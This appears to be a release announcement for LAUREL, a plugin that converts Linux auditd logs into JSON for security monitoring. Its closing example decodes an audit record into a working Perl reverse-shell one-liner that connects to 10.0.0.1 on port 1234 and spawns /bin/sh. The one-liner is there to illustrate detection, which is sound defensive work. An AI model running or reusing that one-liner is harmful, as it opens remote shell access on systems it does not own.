laurel v0.5.3 releases: Transform Linux Audit logs for SIEM usage

Linux Audit – Usable, Robust, Easy Logging

LAUREL is an event post-processing plugin for auditd(8) to improve its usability in modern security monitoring setups.

Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.

LAUREL solves these problems by consuming audit events, parsing and transforming them into more data, and writing them out as a JSON-based log format while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp (“audit dispatch”) interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).

Refer to JSON-based log format for a description of the log format.

Why?

TLDR: Instead of audit events that look like this…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0=”perl” a1=”-e” a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance:

{ … “EXECVE”:{ “argc”: 3,”ARGV”: [“perl”, “-e”, “use Socket;$i=\”10.0.0.1\”;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\”tcp\”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\”>&S\”);open(STDOUT,\”>&S\”);open(STDERR,\”>&S\”);exec(\”/bin/sh -i\”);};”]}, …}